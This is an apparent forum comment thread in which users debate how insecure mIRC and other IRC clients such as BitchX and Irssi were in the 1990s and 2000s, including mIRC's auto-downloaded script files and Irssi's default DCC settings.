Reminds me the old days of mIRC (popular IRC client back then) where you could (and still probably can) run similar scenario using mSL language (https://en.wikipedia.org/wiki/MIRC_scripting_language) directly from the chat input.
A script could literally takes control of the computer because mIRC is able to load native code by loading arbitrary DLLs
Back in the 90s mIRC would download files to the root directory of mIRC itself -- long before the concept of separating user data and code became the norm on Windows -- and if people had "auto accept file transfers" enabled people could send you a viral "script.ini" (as I recall it was called) to you and immediately overwrite your customisations. The end result would spread rapidly as the infected users would share it with others who join and left the channels they were in.
Ah, yes, I remember that. I think it was because the modems didn't differentiate between the various layers in the transport stream and took anything resembling low-level modem commands to be gospel.
Yes but that’s invoked at the client side. The mIRC vulnerability discussed is where a message would trigger an /exec due to mIRC auto-downloading a boobytrapped .ini file enabling /exec from external chats.
The equivalent UNIX example would be Irssi auto-downloading a Perl file, loading that, and that Perl script then /exec any commands sent by a remote machine. But as you know, Irssi wouldn’t support auto-downloading, let alone then loading that file too.
Well either way, you still couldn't instigate scripts from Irssi from a remote message unless the client specifically had a Perl plugin telling it to do so (ie the user purposely programmed the IRC client to do it).
Even other Windows IRC clients didn't have this issue. I remember mIRC being particularly terrible in terms of security back in the day. Which is part of the reason it was considered such a joke on any of the more serious IRC channels (that and other features like "mIRC colours"). It's also part of the reason I wrote my own Windows IRC client (this was back in the early to mid-90s so before I switched to Linux as my primary desktop OS).
So I think comparing mIRC to other *nix IRC clients isn't going to get you very far because mIRC was in a whole class of it's own when it came to stupid vulnerabilities.
I really don't think you're comment is a fair counter argument:
1. All your examples of "all irc clients" are just of BitchX. There are a whole plethora of other IRC clients out there yet you highlighted just the one client.
2. You're also just talking about the early versions of BitchX which were widely known as being insecure. So most people who cared stuck with Irssi. (BitchX these days is a lot more secure from what I understand).
3. BitchX didn't even didn't exist "back in the day" as you're referencing. It's first release wasn't until something like the mid-00's. BitchX is actually a relatively late-comer to the scene. So it wasn't around in the era of when mIRC had a bad reputation.
4. Breaking something with a fuzzer isn't even remotely in the same league as a feature which lets users auto-download config files into the application's directory nor the other mIRC bug you highlighted. If you need to start using fuzzers to prove a point then yes you win the argument that "everything is insecure" while completely missing the point being made about specific applications having massive and easily exploitable security holes in them.
Fact is, back in the mid-90s mIRC deserved its reputation. Things obviously improved by the late-90s (thankfully the developers kept releasing new versions of the client when new vulnerabilities were discovered) but mIRC - at that time - was uniquely awful.
For a time BitchX was also pretty bad. Not as bad as mIRC was in it's era but we're now talking a decade or two after mIRC and software development had moved on a lot in that time so it's still a shame that BitchX did have the vulnerabilities it had. However I wouldn't use BitchX as an example that all Linux / UNIX based IRC clients - nor even all clients across any specific OS - were terrible in terms of security because that is simply untrue. Even some of the biggest problems that faced IRC as a protocol (eg IP address being public while internet connected home PCs weren't sat behind firewalls nor NATing meaning it was easy to bypass IRC entirely and hack the host some other way) had been solved by the time BitchX came about.
Irssi's default behaviour is categorically not to auto-download any file someone DCC's to you.
Plus even if those who do enable it, you can still set whitelists up for trusted nicks:
/SET dcc_autoget ON
/SET dcc_autoget_masks nick
It's the default behaviour that matters and Irssi is secure by default. Plus the aforementioned support of a whitelist offers you additional assurances should you wish to enable that risky feature.
> It’s not on by default, just like it wasn’t in mIRC 20 years ago.
I'm pretty sure it was in the early days but I might be wrong there. mIRC did have some crazy defaults initially but those were quickly changed.
> I don’t think you’re making a very convincing case that mIRC was particularly bad.
I beg to differ. You haven't given a single piece of accurate evidence to prove that any other client suffered from the same issues as mIRC. The closest comparison you could come up with was fuzzing against BitchX - which isn't even remotely as embarrassing as the mIRC flaws - and exactly nothing to prove any of the other "all of irc clients" (as you put it) were also equally insecure.
I used a lot of clients in the 90s. I wrote a couple too. mIRC was undoubtably the most user friendly (excluding my second client but I never got around to releasing that) but it was also the worst for security in the early days. Of course that did change. So it might have been the later years when you started using it so you didn't experience some of the problems it had?
A script could literally takes control of the computer because mIRC is able to load native code by loading arbitrary DLLs